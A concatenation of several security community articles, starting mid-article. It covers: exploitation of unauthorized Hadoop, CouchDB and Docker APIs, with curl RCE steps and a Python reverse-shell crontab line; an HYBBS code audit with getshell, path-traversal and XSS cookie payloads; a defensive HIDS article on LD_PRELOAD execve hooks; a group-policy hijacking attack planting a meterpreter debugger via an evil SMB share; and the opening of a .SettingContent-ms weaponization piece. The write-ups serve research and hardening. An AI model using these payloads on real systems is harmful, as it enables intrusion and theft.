端口及部分默认服务端口，黑客可以通过命令行操作多个目录下的数据，如进行删除，下载，目录浏览甚至命令执行等操作，产生极大的危害。
##### 8.2 漏洞利用
主要 HDFS 和 MapReduce 的 WebUI 对应的服务端口。
其中比较重要的是 DataNode 默认端口 50075 开放的话，攻击者可以通过 hdsf 提供的 restful api 对 hdfs
存储数据进行操作。
restful api参考：<http://hadoop.apache.org/docs/r1.0.4/webhdfs.html>
##### 8.3 漏洞加固
1、如无必要，关闭 Hadoop Web 管理页面
2、开启身份验证，防止未经授权用户访问
3、设置“安全组”访问控制策略，将 Hadoop 默认开放的多个端口对公网全部禁止或限制可信任的 IP 地址才能访问包括 50070 以及 WebUI
等相关端口，详细端口列表如下：
a)HDFS
* NameNode 默认端口 50070
* DataNode 默认端口 50075
* httpfs 默认端口14000
* journalnode 默认端口 8480
b)YARN（JobTracker）
* ResourceManager 默认端口8088
* JobTracker 默认端口 50030
* TaskTracker 默认端口 50060
c)Hue 默认端口 8080
d)YARN（JobTracker）
* master 默认端口 60010
* regionserver 默认端口60030
e)hive-server2 默认端口 10000
f)spark-jdbcserver 默认端口 10003
#### 0x09 CouchDB 未授权访问
##### 9.1 漏洞描述
CouchDB 默认在 5984 端口开放 Restful 的 API 接口，用于数据库的管理功能。其 HTTP Server
默认开启时没有进行验证，而且绑定在0.0.0.0，所有用户均可通过 API 访问导致未授权访问。任何连接到服务器端口上的人，都可以调用相关 API
对服务器上的数据进行任意的增删改查，其中通过 API 修改 local.ini 配置文件，可进一步导致执行任意系统命令，获取服务器权限！
##### 9.2 漏洞利用
新增query_server配置，这里执行ifconfig命令
curl -X PUT 'http://x.x.x.x:5984/_config/query_servers/cmd' -d '"/sbin/ifconfig >/tmp/6666"'
新建一个临时表，插入一条记录
curl -X PUT 'http://x.x.x.x:5984/vultest'
curl -X PUT 'http://x.x.x.x:5984/vultest/vul' -d '{"_id":"770895a97726d5ca6d70a22173005c7b"}'
调用query_server处理数据
curl -X POST 'http://x.x.x.x:5984/vultest/_temp_view?limit=11' -d '{"language":"cmd","map":""}' -H 'Content-Type: application/json'
当然你也可以直接执行其他命令，下载个其他什么的
##### 9.3 漏洞加固
1、指定CouchDB绑定的IP （需要重启CouchDB才能生效） 在 /etc/couchdb/local.ini 文件中找到
“bind_address = 0.0.0.0” ，把 0.0.0.0 修改为 127.0.0.1 ，然后保存。注：修改后只有本机才能访问CouchDB。
2、设置访问密码 （需要重启CouchDB才能生效） 在 /etc/couchdb/local.ini 中找到“[admins]”字段配置密码
#### 0x010 Docker 未授权访问
##### 10.1 漏洞描述
Docker Remote API 是一个取代远程命令行界面（rcli）的REST API。通过 docker client 或者 http
直接请求就可以访问这个 API，通过这个接口，我们可以新建 container，删除已有 container，甚至是获取宿主机的 shell
##### 10.2 漏洞利用
http://192.168.198.130:2375/v1.25/images/json 可以获取到所有的 images 列表
http://host:2375/containers/json
会返回服务器当前运行的 container 列表，和在 docker CLI 上执行 docker ps 的效果一样，过 Post
包我们还可以新建、开启和关闭容器，其他操作比如拉取 image 等操作也都可以通过 API 调用完成。
$ curl http://10.10.10.10:2375/containers/json
[]
docker -H=tcp://10.10.10.10:2375 ps
CONTAINER ID IMAGE COMMAND CREATED STATUS PORTS NAMES
Docker remote Api 未授权访问的攻击原理与之前的 Redis
未授权访问漏洞大同小异，都是通过向运行该应用的服务器写文件，从而拿到服务器的权限，常见的利用方法如下:
1、启动一个容器，挂载宿主机的/root/目录，之后将攻击者的ssh公钥~/.ssh/id_rsa.pub的内容写到入宿主机的`/root/.ssh/authorized_keys`文件中，之后就可以用root账户直接登录了
2、启动一个容器，挂载宿主机的/etc/目录，之后将反弹shell的脚本写入到/etc/crontab中，攻击者会得到一个反弹的shell，其中反弹shell脚本的样例如下：
echo -e "*/1 * * * * root /usr/bin/python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"127.0.0.1\",8088));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call([\"/bin/sh\",\"-i\"]);'\n" >> /etc/crontab
第2种利用方法也可以挂载
var/spool/cron/目录，将反弹shell的脚本写入到/var/spool/cron/root（centos系统）或/var/spool/cron/crontabs/root(ubuntu系统)
##### 10.3 漏洞加固
###### 1、在不必需的情况下，不要启用 docker 的 remote api 服务，如果必须使用的话，可以采用如下的加固方式：
设置 ACL，仅允许信任的来源 IP 连接；
设置 TLS 认证，官方的文档为 Protect the Docker daemon socket
###### 2、客户端连接时需要设置以下环境变量 export DOCKER_TLS_VERIFY=1
export DOCKER_CERT_PATH=~/.docker
export DOCKER_HOST=tcp://10.10.10.10:2375
export DOCKER_API_VERSION=1.12
###### 3、在 docker api 服务器前面加一个代理，例如 nginx，设置 401 认证
附：Python未授权访问脚本
此脚本未做测试，请根据自身需求，修改测试使用！
#### 参考文章
* <https://www.secpulse.com/archives/55928.html>
* <https://www.secpulse.com/archives/49115.html>
* <https://www.secpulse.com/archives/6540.html>
* <https://xianzhi.aliyun.com/forum/mobile/read/750.html>
* <https://book.thief.one/webying-yong-lou-dong/136-elasticsearchwei-shou-quan-fang-wen-lou-dong.html>
* <https://www.secpulse.com/archives/2166.html>
* <https://github.com/findys/sunburst/>
* <https://yeasy.gitbooks.io/docker_practice/>
* * * | 社区文章 |
## 插件处存在任意文件写入漏洞导致代码执行
<http://localhost/?admin/code.html>
Code-audit\HYBBS2.3.2\Action\Admin.php
插件名填入test',phpinfo(),'
?admin/code.html
name=&gn=add&name=test%27%2Cphpinfo%28%29%2C%27&name2=test&user=test&mess=test
调试，一路跟进，Code-audit\HYBBS2.3.2\HY\Lib\Line.php，这里实例化了Admin类
调用code方法
可以看到输入的内容test',phpinfo(),'没有进行任何过滤，直接赋值给$name
继续往下跟进，这里在/Plugin/下创建一个新的文件夹，并将输入的内容存到conf.php
访问getshell
## 任意文件删除漏洞导致重装getshell（逻辑漏洞）
可以看到重装前需要删除/Conf/config.php
尝试删除Conf
一路跟进到C:\Day\phpStudy\WWW\Code-audit\HYBBS2.3.2\HY\Lib\Line.php，开始实例化Admin类
继续跟进，进入到code方法
因为$gn == 'del'，进入到del操作
可以看到deldir没有经过任何过滤，例如过滤..，../等，所以我们可以利用../../来进行目录跳转操作删除Conf下的文件
删除成功，config.php原文件被删除且重新生成空配置文件
访问install，加入重装界面
输入数据库名
hybbs",phpinfo(),"
## 模板处存在任意文件写入漏洞getshell
<http://localhost/?admin/view.html>
Code-audit\HYBBS2.3.2\Action\Admin.php的view方法中存在写入操作
填入模板信息
可以看到view下创建了test11文件夹以及conf.php文件
修改模板名为',phpinfo(),'
gn=create_view&name='%2Cphpinfo()%2C'&name2=test22&user=ch3ng&mess=test&code=
跟进代码，进入到Code-audit\HYBBS2.3.2\HY\Lib\Line.php，这里实例化了类Admin类
接着调用Admin类的View方法
在这里，没有对name参数进行检查，只是简单的判断是否为空
接着调用file_put_contents直接写入到conf.php
生成成功
访问
## 模板处存在文件上传漏洞
<http://localhost/?admin/view.html>
上传zip文件，里面为phpinfo.php
上传zip文件，里面为<?php phpinfo();?>
调试，实例化Admin类，最后调用update_view方法
跟进
跟进upload方法，这里进行了一系列检查，但是并没有限制上传内容
接着实例化Zip
接着便将zip自动解压到HYBBS2.3.2/View/下
即可getshell
## 上传插件处存在文件上传漏洞
<http://localhost/?admin/code.html>
上传zip文件，里面为phpinfo.php文件
调试跟进Code-audit\HYBBS2.3.2\HY\Lib\Line.php，调用了Update_code方法
接着实例化了一个Upload类
继续跟进，进入到一个解压操作unzip，将内容解压到C:/Day/phpStudy/WWW/Code-audit/HYBBS2.3.2/Plugin/目录下
可以看到解压成功
<http://localhost/Plugin/phpinfo.php>
## 前台存在XSS漏洞
通过输入不存在的方法使其报错，从而弹框获取cookie
http://localhost/Code-audit/HYBBS2.3.2/?s=%3Csvg%20onload=alert(1)%3E
http://localhost/Code-audit/HYBBS2.3.2/?s=%3Csvg%20onload=alert(document.cookie)%3E | 社区文章 |
**Author: u2400@Knownsec 404 Team
Chinese version: <https://paper.seebug.org/1102/> **
Foreword: Recently, I have implemented HIDS agent in linux. When searching for
data, I found that although there are a lot of data, each article has its own
focus, and few of them are progressive and comprehensive Chinese articles, I
have stepped on a lot of holes in the step-by-step learning. Here I will take
the process information collection as the entry point to give a detailed
explanation on how to implement a HIDS agent. I hope it will be helpful to all
the Masters.
# 1\. What is HIDS?
Host intrusion detection usually divided into two parts: agent and server.
The agent is responsible for collecting information, sorting out relevant
information and sending it to the server.
Server is usually used as an information center to deploy rules written by
security personnel (currently, HIDS rules do not have a specification written
), collect data obtained from various security components (such as waf and
NIDS), analyze the data, and determine whether host behavior is abnormal based
on rules, and alarms and prompts the abnormal behaviors of the host.
The purpose of the existence of HIDS is that the administrator will not be
disturbed by security events when managing a large number of IDCs, and the
health status of each host can be monitored through the information center.
Relevant open-source projects include OSSEC, OSquery, etc. OSSEC is a well-built HIDS with agent and server, built-in rules, and basic rootkit detection,
sensitive file modification reminders and other functions are included in an
open source project called wazuh. OSquery is an open source project developed
by facebook, which can be used as an agent to collect host-related data,
however, the server and rules need to be implemented by themselves.
Each company's HIDS agent will be customized according to its own needs, more
or less adding some personalized functions, a basic HIDS agent generally needs
to achieve:
* Collect process information
* Collect network information
* Periodic collection open port
* Monitoring sensitive file modifications
The following section will start with the implementation of an agent, and
discuss how to implement the process information collection module of a HIDS
agent around the agent.
# 2\. Agent Process Monitoring Module Summary
## 2.1 The Purpose of Process Monitoring
In the Linux operating system, almost all operations and intrusion behaviors
are reflected in the executed commands, and the essence of command execution
is to start the process, therefore, the monitoring of processes is the
monitoring of command execution, which is of great help to the operation
upgrade and intrusion behavior analysis.
## 2.2 The Data That The Process Monitoring Module Should Obtain
Now that you want to obtain information, you need to make it clear what you
need first. If you don't know what information you need, then there is no way
to realize it, even if you try hard to implement a HIDS that can obtain basic
information such as pid, the interface will be changed frequently due to lack
of planning in the later stage, which will waste manpower, here, refer to the
《Internet Enterprise Security Advanced Guide》 to provide a basic list of
information acquisition. The method of obtaining this table will be
supplemented later.
Data name | Meaning
---|---
path | The path of the executable file
ppath | Parent process executable file path
ENV | Environment variables
cmdline | Process start Command
pcmdline | Parent process startup command
pid | Process id
ppid | Parent process id
pgid | Process Group id
sid | Process session id
uid | Uid of the user who started the process
euid | The euid of the user who started the process
gid | User group id of the user who started the process
egid | The egid of the user who started the process
mode | Executable file permissions
owner_uid | The uid of the file owner
owner_gid | The gid of the file owner
create_time | File creation time
modify_time | Last file modification time
pstart_time | The start time of the process
prun_time | The time when the parent process has been running
sys_time | Current system time
fd | File descriptor
## 2.3 The Method of Process Monitoring
Process Monitoring usually uses hook technology, and these hooks are roughly
divided into two types:
* Application-level (working in r3, it is common to hijack the libc Library, which is usually simple but may be bypassed.
* Kernel-level (working in r0 or r1, kernel-level hook is usually related to the system call VFS, which is complex, and may cause compatibility problems between different kernel versions, when a serious error occurs on the hook, kenrel may panic and cannot be bypassed in principle.
Let's start with a simple application-level hook.
# 3\. HIDS Application-level Hook
## 3.1 Hijack libc Library
Libraries are used to package functions. The packaged functions can be used
directly. linux is divided into static libraries and dynamic libraries.
Dynamic libraries are loaded only when applications are loaded, however, the
program has a loading order for the dynamic library, which can be modified
/etc/ld.so.preload To manually load a dynamic link library first, in which the
original function can be replaced before the program calls the original
function, after executing its own logic in its own function, call the original
function to return the result that the original function should return.
For those who want to know more, please refer to this
[article](https://www.ibm.com/developerworks/cn/linux/l-dynamic-libraries/index.html).
To hijack the libc library, you can perform the following steps:
### 3.1.1 Compile a Dynamic Link Library
A simple dynamic link library of hook execve is as follows.
The logic is very simple
1. Customize a function named execve, and accept the same parameter type as the original execve.
2. Execute your own logic
#define _GNU_SOURCE
#include <unistd.h>
#include <dlfcn.h>
typedef ssize_t (*execve_func_t)(const char* filename, char* const argv[], char* const envp[]);
static execve_func_t old_execve = NULL;
int execve(const char* filename, char* const argv[], char* const envp[]) {
//从这里开始是自己的逻辑, 即进程调用execve函数时你要做什么
printf("Running hook\n");
//下面是寻找和调用原本的execve函数, 并返回调用结果
old_execve = dlsym(RTLD_NEXT, "execve");
return old_execve(filename, argv, envp);
}
Compile into so file through gcc.
gcc -shared -fPIC -o libmodule.so module.c
### 3.1.2 Modify ld. so. preload
Ld. so. preload is the configuration file of the LD_PRELOAD environment
variable. By modifying the file content to the specified dynamic link library
file path,
Be careful, only root can modify ld. so. preload, unless the default
permission is changed
Customize an execve function as follows:
extern char **environ;
int execve(const char* filename, char* const argv[], char* const envp[]) {
for (int i = 0; *(environ + i) ; i++)
{
printf("%s\n", *(environ + i));
}
printf("PID:%d\n", getpid());
old_execve = dlsym(RTLD_NEXT, "execve");
return old_execve(filename, argv, envp);
}
The Pid of the current process and all environment variables can be output.
After compilation, modify ld. so. preload and restart the shell. The result of
running the ls command is as follows:
### 3.1.3 Advantages and Disadvantages of libc hook
Advantages: it has better performance and is relatively stable. Compared with
LKM, it is simpler and more adaptable. It is usually against web intrusion.
Disadvantages: there is no way out for the static compilation program, and
there is a risk of being bypassed.
### 3.1.4 Hook and Information Acquisition
A hook is set up to establish monitoring points and obtain process-related
information. However, if the hook part is written too much, it will affect the
operation efficiency of normal services, this is unacceptable to the business.
In general HIDS, the information that can not be obtained at the hook is
obtained in the agent, so that the information acquisition and the business
logic are executed concurrently, reduce the impact on the business.
# 4\. Information Completion and Acquisition
If the information accuracy requirement is not very high, and you want to do
everything possible without affecting the normal business deployed on the HIDS
host, you can choose hook to obtain only the necessary data such as PID and
environment variables, then, these things are handed over to the agent, and
the agent continues to obtain other relevant information of the process. That
is to say, when obtaining other information of the process, the process has
already continued to run, instead of waiting for the agent to obtain the
complete information table.
## /proc/[pid]/stat
/Proc is a set of fifo interfaces provided by the kernel to the user state,
calling interfaces in the form of pseudo file directories
The information related to each process is placed in a folder named pid.
Commands such as ps also obtain the information related to the process by
traversing the/proc directory.
The contents of a stat file are as follows. The following self is an interface
provided by the/proc directory to quickly view its own process information.
Each process will see its own information when accessing/self.
#cat /proc/self/stat
3119 (cat) R 29973 3119 19885 34821 3119 4194304 107 0 0 0 0 0 0 0 20 0 1 0 5794695 5562368 176 18446744073709551615 94309027168256 94309027193225 140731267701520 0 0 0 0 0 0 0 0 0 17 0 0 0 0 0 0 94309027212368 94309027213920 94309053399040 140731267704821 140731267704841 140731267704841 140731267706859 0
You will find that the data is messy. Spaces are used as the boundaries of
each data. There is no place to explain what the data means.
Generally, I found a list in an article, which describes the data type of each
data and the meaning of its expression. See the article in [Appendix 1].
Finally, a structure with 52 data items and different types of each data item
was sorted out. It was a little troublesome to get it. No wheel was found on
the Internet, so I wrote one myself.
Specific structure definition:
struct proc_stat {
int pid; //process ID.
char* comm; //可执行文件名称, 会用()包围
char state; //进程状态
int ppid; //父进程pid
int pgid;
int session; //sid
int tty_nr;
int tpgid;
unsigned int flags;
long unsigned int minflt;
long unsigned int cminflt;
long unsigned int majflt;
long unsigned int cmajflt;
long unsigned int utime;
long unsigned int stime;
long int cutime;
long int cstime;
long int priority;
long int nice;
long int num_threads;
long int itrealvalue;
long long unsigned int starttime;
long unsigned int vsize;
long int rss;
long unsigned int rsslim;
long unsigned int startcode;
long unsigned int endcode;
long unsigned int startstack;
long unsigned int kstkesp;
long unsigned int kstkeip;
long unsigned int signal; //The bitmap of pending signals
long unsigned int blocked;
long unsigned int sigignore;
long unsigned int sigcatch;
long unsigned int wchan;
long unsigned int nswap;
long unsigned int cnswap;
int exit_signal;
int processor;
unsigned int rt_priority;
unsigned int policy;
long long unsigned int delayacct_blkio_ticks;
long unsigned int guest_time;
long int cguest_time;
long unsigned int start_data;
long unsigned int end_data;
long unsigned int start_brk;
long unsigned int arg_start; //参数起始地址
long unsigned int arg_end; //参数结束地址
long unsigned int env_start; //环境变量在内存中的起始地址
long unsigned int env_end; //环境变量的结束地址
int exit_code; //退出状态码
};
Read from the file and format it as a structure:
struct proc_stat get_proc_stat(int Pid) {
FILE *f = NULL;
struct proc_stat stat = {0};
char tmp[100] = "0";
stat.comm = tmp;
char stat_path[20];
char* pstat_path = stat_path;
if (Pid != -1) {
sprintf(stat_path, "/proc/%d/stat", Pid);
} else {
pstat_path = "/proc/self/stat";
}
if ((f = fopen(pstat_path, "r")) == NULL) {
printf("open file error");
return stat;
}
fscanf(f, "%d ", &stat.pid);
fscanf(f, "(%100s ", stat.comm);
tmp[strlen(tmp)-1] = '\0';
fscanf(f, "%c ", &stat.state);
fscanf(f, "%d ", &stat.ppid);
fscanf(f, "%d ", &stat.pgid);
fscanf (
f,
"%d %d %d %u %lu %lu %lu %lu %lu %lu %ld %ld %ld %ld %ld %ld %llu %lu %ld %lu %lu %lu %lu %lu %lu %lu %lu %lu %lu %lu %lu %lu %d %d %u %u %llu %lu %ld %lu %lu %lu %lu %lu %lu %lu %d",
&stat.session, &stat.tty_nr, &stat.tpgid, &stat.flags, &stat.minflt,
&stat.cminflt, &stat.majflt, &stat.cmajflt, &stat.utime, &stat.stime,
&stat.cutime, &stat.cstime, &stat.priority, &stat.nice, &stat.num_threads,
&stat.itrealvalue, &stat.starttime, &stat.vsize, &stat.rss, &stat.rsslim,
&stat.startcode, &stat.endcode, &stat.startstack, &stat.kstkesp, &stat.kstkeip,
&stat.signal, &stat.blocked, &stat.sigignore, &stat.sigcatch, &stat.wchan,
&stat.nswap, &stat.cnswap, &stat.exit_signal, &stat.processor, &stat.rt_priority,
&stat.policy, &stat.delayacct_blkio_ticks, &stat.guest_time, &stat.cguest_time, &stat.start_data,
&stat.end_data, &stat.start_brk, &stat.arg_start, &stat.arg_end, &stat.env_start,
&stat.env_end, &stat.exit_code
);
fclose(f);
return stat;
}
Compared with the data we need to obtain, we can obtain the following data
ppid | Parent process id
---|---
pgid | Process Group id
sid | Process session id
start_time | The start time of the parent process.
run_time | The time when the parent process has been running.
## /proc/[pid]/exe
Obtain the path of the executable file through/proc/[pid]/exe, here
/Proc/[pid]/exe is a soft link pointing to an executable file, so the readlink
function is used to obtain the address pointed to by the soft link.
Note that if the file read by readlink has been deleted, one more file name
will be read. `(deleted)` However, the agent cannot delete the corresponding
string at the end of the file blindly. Therefore, you must pay attention to
this situation when writing server rules.
char *get_proc_path(int Pid) {
char stat_path[20];
char* pstat_path = stat_path;
char dir[PATH_MAX] = {0};
char* pdir = dir;
if (Pid != -1) {
sprintf(stat_path, "/proc/%d/exe", Pid);
} else {
pstat_path = "/proc/self/exe";
}
readlink(pstat_path, dir, PATH_MAX);
return pdir;
}
## /proc/[pid]/cmdline
Obtain the startup command of the process startup, which can be obtained by
obtaining the content of/proc/[pid]/cmdline. There are two pits in this
acquisition.
1. Because the length of the startup command is uncertain, to avoid overflow, you need to obtain the length first, apply for heap space with MPRI, and then read the data into the variable.
2. All spaces and press enter in the/proc/self/cmdline file become `'\0'`?I don't know why, so I need to manually change, and several connected spaces will only become one `'\0'`?.
The method of obtaining the length here is stupid, but using fseek to directly
move the file pointer to the end of the file returns 0 each time. I don't know
what to do, so I can only do this first.
long get_file_length(FILE* f) {
fseek(f,0L,SEEK_SET);
char ch;
ch = (char)getc(f);
long i;
for (i = 0;ch != EOF; i++ ) {
ch = (char)getc(f);
}
i++;
fseek(f,0L,SEEK_SET);
return i;
}
Obtain the content of cmdline
char* get_proc_cmdline(int Pid) {
FILE* f;
char stat_path[100] = {0};
char* pstat_path = stat_path;
if (Pid != -1) {
sprintf(stat_path, "/proc/%d/cmdline", Pid);
} else {
pstat_path = "/proc/self/cmdline";
}
if ((f = fopen(pstat_path, "r")) == NULL) {
printf("open file error");
return "";
}
char* pcmdline = (char *)malloc((size_t)get_file_length(f));
char ch;
ch = (char)getc(f);
for (int i = 0;ch != EOF; i++ ) {
*(pcmdline + i) = ch;
ch = (char)getc(f);
if ((int)ch == 0) {
ch = ' ';
}
}
return pcmdline;
}
# Summary
What is written here is only one of the most common and simple application-level hook methods. The specific implementation and code have been put in
[github](https://github.com/u2400/libc_hook_demo). At the same time, the code
on github is updated. The next article will share how to use LKM to modify
sys_call_table to hook system calls to implement HIDS hook.
# Reference articles
<https://www.freebuf.com/articles/system/54263.html>
<http://abcdefghijklmnopqrst.xyz/2018/07/30/Linux_INT80/>
<https://cloud.tencent.com/developer/news/337625>
<https://github.com/g0dA/linuxStack/blob/master/%E8%BF%9B%E7%A8%8B%E9%9A%90%E8%97%8F%E6%8A%80%E6%9C%AF%E7%9A%84%E6%94%BB%E4%B8%8E%E9%98%B2-%E6%94%BB%E7%AF%87.md>
# Appendix 1
Here is a complete description of the specific meaning of each file in
the/proc directory. <http://man7.org/linux/man-pages/man5/proc.5.html>
* * * | 社区文章 |
# 【技术分享】域渗透之流量劫持
|
##### 译文声明
本文是翻译文章，文章来源：安全客
译文仅供参考，具体内容表达以及含义原文为准。
****
作者：[vodu](http://bobao.360.cn/member/contribute?uid=2767699139)
预估稿费：400RMB（不服你也来投稿啊！）
投稿方式：发送邮件至[linwei#360.cn](mailto:[email protected])，或登陆[网页版](http://bobao.360.cn/contribute/index)在线投稿
**说在前面**
windows Domain 中文翻译为域，域既是 Windows
网络操作系统的逻辑组织单元，也是Internet的逻辑组织单元。它是由所有的用户计算机，打印机，用户账户和其他的安全主体组成，被域控制器管理。
域是微软提供给企业的一个局域网管理措施，使得信息技术人员能高效的管理和维护局域网中所有的主机和用户。域位于每一个企业最核心的位置，在域上运行着大量的企业核心应用，如邮件系统，协同办公系统，文件共享系统等。
在网络渗透攻击中，攻击者如果获取了域的权限，那么攻击者就有可能获取公司的机密，控制公司的一切。所以域安全是企业安全最为核心的一个环节，并且微软对域本身也在进行不断的安全加固。
NSA泄漏的文档和工具让人们明白了网络的底层设备是多么的不堪一击，但是部分运维人员和安全人员仍然抱有幻想，只要养成正确的计算机使用习惯，不安全的底层网络很难威胁到域的安全，但是事实往往不是这样，Windows域本身十分脆弱，尤其是在不安全的网络环境中，因为域是基于信任底层网络进行设计和建造的。
本文将利用另外一种方法，完成从底层网络入侵windows域。
**原理分析**
当底层网络被攻陷，攻击者就能轻易的劫持流量，伪造网络节点。而劫持流量攻击最基本的设计思路就是建立在一个假设之上，如果劫持了某个设备，能达到什么目的。
如果劫持了域控，能达到什么目的？
基于这个假设，进行了一系列测试，拿出其中一个测试与大家共同研究。
在微软的官网上有如下描述：
组策略是在基于 Active Directory 域服务 (AD DS)
的网络上访问和配置计算机及用户设置的最轻松易行的方式。如果您的企业未在使用组策略，那么将会错失降低成本、控制配置、使用户保持卓有成效和愉悦的心情以及增强安全性的大好机会。可以将使用组策略进行配置视为“一举多得”。
域控通过组策略完成对域内机器的进行配置的一种方式，windows域机器每间隔一段时间就会向域控制器请求更新组策略，以保证自身使用着最新的域策略。更新的过程是，域成员机器每间隔
90min+random()*30min ，向域控请求策略版本号，这个版本号存在于域控的gpt.ini文件中，位于
\domian_namesysvoldomain_namePolicies
文件夹中，文件内容为：
[General]
Version = 1
这个版本号如果等于自身版本号，那么系统就认为自身组策略是最新版本。然后重置计时器，等待下一个间隔去请求更新。
详细数据包请求过程如下图：
如果自身版本号小于返回的版本号，那么系统认为自身组策略以过时，就继续请求registry.pol 和GptTmpl.ini文件，详细数据包请求过程如下图：
而GptTmpl.inf文件，是一个模版文件，允许远程修改域成员的注册表。
如果劫持并且修改了GptTmpl.inf文件，就可以随意修改请求该文件域成员的注册表。利用劫持该文件入侵域的一种方式就是修改注册表给域机器添加启动项，等到机器重启时，就可以运行指定文件或者脚本。
但是面临着一个问题，必须等到该机器重新启动。该机器可能启动周期很长，攻击者的启动脚本或攻击payload存储的位置就必须持续保持，很不方便。之前CoreSecurity的测试POC时修改AppInit_DLL注册表键值，但是这个键值已经不启用很多年了。所以需要一个简便高效的方式。再经过多种利用测试之后，终于找到一种非常好用的方式，一个神奇的注册表键值：
[HKEY_LOCAL_MACHINESoftwareMicrosoftWindows NTcurrentversionimage file execution optin]
通过修改这个键值，可以给任一windows程序添加一个debugger调试器。例如可以给cmd.exe添加一个调试器debugger.exe，这样你在启动cmd.exe
的时候，实际运行的为：
c:debugger.exe cmd.exe
通过这种方式，可以给IE，Chrome或者其他什么用户可能会运行的程序添加一个调试器，这种方式明显会比等待用户重启要迅速的多。
即使是在用户权限受限制的情况下，依然可以通过组策略劫持的方式来对该机器的注册表进行修改。但是在劫持完成之后，必须对注册表进行清理，因为该调试程序不可能长久存在，那么之后用户可能无法启动该程序。并且修改键值需要管理员权限。
为了避免猜错用户使用的程序和较长的等待时间，经过多次测试找到了一个更好的解决办法。系统在更新组策略之后，会用系统权限创建一个新的进程
taskhost.exe
，即使该用户处于一个受限制的状态。所以给taskhost.exe程序创建一个调试器，这样就能在系统更新完粗策略后立刻获取一个system权限的shell。不需要漫长的等待，不需要重启，不需要用户的任何操作，一切都是静默中完成。
当然，这种劫持组策略执行命令的方式很早的时候就报告给了Microsoft，并且在2015年2月10日就发布安全公告
MS15-011并提供了补丁KB3000483。微软决定在用户端修复这个漏洞，强制使用“SMB Signing”。
但是，虽然这个漏洞在一年多前就已经发布安全公告，并且提供了相关补丁，但是这个补丁是默认不启用的。
在微软的官方公告中有这样一段话：
This security update requires the following steps to be performed in order to
protect against the vulnerability described in the bulletin (MS15-011). To
enable this functionality, a system administrator must apply the following
Group Policy settings in addition to installing security update 3000483.
其含义是：
系统管理员必须手动配置组策略，启用“UNC Hardened
Access”来避免MS15-011漏洞所带来的安全风险。详细的配置策略在微软的官方网站，简单总结成了12个步骤，网页链接如下：
[https://support.microsoft.com/en-us/kb/3000483](https://support.microsoft.com/en-us/kb/3000483)
微软认为这是一个漏洞，并且提供了相关的补丁。但是这个补丁并不是默认启用，必须管理员手动配置12个步骤才能启用。
所以该漏洞大多数环境中依然可以被当作0DAY来使用。
**测试**
实验测试步骤如下：
**1\. 准备存放payload的SMB服务器和相应的payload**
在该测试中，在攻击者机器上启用了SMB共享，创建一个映射为SYSVOL的目录，命令如下：
net share sysvol=C:UsersTESTDesktopsysvol
或者直接使用界面开启共享，效果一样。在文件夹中创建树形结构，因为域机器在请求更新的时候只会请求固定位置的文件。文件结构如下：
─Domain_Name
└─Policies
└─{31B2F340-016D-11D2-945F-00C04FB984F9}
│ gpt.ini
│
└─Machine
└─Microsoft
└─Windows NT
└─SecEdit
GptTmpl.inf
然后开启整个文件夹的匿名共享，允许任何人访问。
准备payload程序，本测试准备的是meterpreter_resver_tcp.exe，重命名为debugger.exe。
因为劫持方式不一样，如果选择直接修改数据包内容或者重新回包，可以不用创建树形结构目录，但是SMB的匿名共享文件夹是需要的，用来存放payload。
**2\. 劫持中需要修改的数据**
首先修改Gpt.ini文件，将其中的版本号改为一个较大数字，方便起见改为1000，如下：
[General]
Version=1000
然后修改策略文件GptTmpl.ini，文件原内容如下：
[Unicode]
Unicode=yes
[System Access]
MinimumPasswordAge = 1
MaximumPasswordAge = 42
MinimumPasswordLength = 7
PasswordComplexity = 1
PasswordHistorySize = 24
LockoutBadCount = 0
RequireLogonToChangePassword = 0
ForceLogoffWhenHourExpire = 0
ClearTextPassword = 0
LSAAnonymousNameLookup = 0
[Kerberos Policy]
MaxTicketAge = 10
MaxRenewAge = 7
MaxServiceAge = 600
MaxClockSkew = 5
TicketValidateClient = 1
[Registry Values]
MACHINESystemCurrentControlSetControlLsaNoLMHash=4,1
[Version]
signature="$CHICAGO$"
Revision=1
然后按照设计进行相应的修改，简便起见，只添加修改注册表项，修改后的文件内容如下：
[Registry Values]
MACHINESOFTWAREMicrosoftWindows NTCurrentVersionImage File Execution Optionstaskhost.exeDebugger=1,\evil_SMB_serversysvoladmin.comPolicies{31B2F340-016D-11D2-945F-00C04FB984F9}MachineMicrosoftWindows NTSecEditmuma_test.exe
[Version]
signature="$CHICAGO$"
Revision=1
将“evil_SMB_server”替换成放置payload的服务器地址，将“debugger.exe”替换成payload文件。
**3\. 开始攻击**
劫持流量到attacker上。在这里劫持流量的方式多种多样，LLMNR,，NBT-NS
，MDNS，ARP，bad_tunnel等等等什么都行，有一款很好用的软件，叫做Responder
github，但是本次试验是专门针对路由器流量劫持定制的程序来完成所有操作。
首先，client会tree一下整个文件夹，然后请求Gpt.ini，对比版本号，然后继续请求GptTmpl.ini文件，将文件中的注册表模版应用到注册表中。应用成功之后，下载并以debugger.exe作为调试器启动taskhost.exe程序，
然后稍等几秒：
done
获取了一台机器的最高控制权限。
最多等待120min，就可以获取到整个域机器的最高权限。除了域控制器，因为域控制器不会请求更新组策略。到那时如果域中有多个域控制器，它们之间会请求更新组策略，同样可以被劫持。
除了域控外的所有设备都获取了控制权限，已经基本可以在域中畅行无阻了。
针对域控，只能使用通过组策略创建替换登录脚本，添加启动项等方法中的一种。再或者，通过组策略添加登录脚本，修改注册表UseLogonCredential的键值，等机器完成重启就能批量抓取用户密码，因为域管理员不可能只在域控上登录。
或者使用其他的更好的方法 ，如有好的思路，请私信我，可以共同讨论测试。
这样就获取到了整个域的控制权限。
**总结**
底层网络设备很危险，并且底层网络能给上层应用和服务带来难以想象的影响。只是现在的安全圈子没有深刻认识到。
**说点题外话**
之前在freebuf和wooyun发过多篇关于底层应用和相关分析的文章，期待与志同道合的人共同研究讨论。 | 社区文章 |
# 武器化：利用.SettingContent-ms文件执行任意代码
##### 译文声明
本文是翻译文章，文章来源：trustedsec.com
原文地址：<https://www.trustedsec.com/2018/06/weaponizing-settingcontent/>
译文仅供参考，具体内容表达以及含义原文为准。
最近，Matt Nelson（@engima0x3）发表了一篇关于利用.SettingContent-ms文件进行代码执行的文章。这篇文章很精彩，因为作为攻击者，我们经常需要从不同的系统上找到多种执行任意代码的方式。本文基于Matt研究的基础，实现在远程系统上进行代码执行。
以下是Matt博文中的几个关键发现：
1. 微软宣称可能不会修复该漏洞。
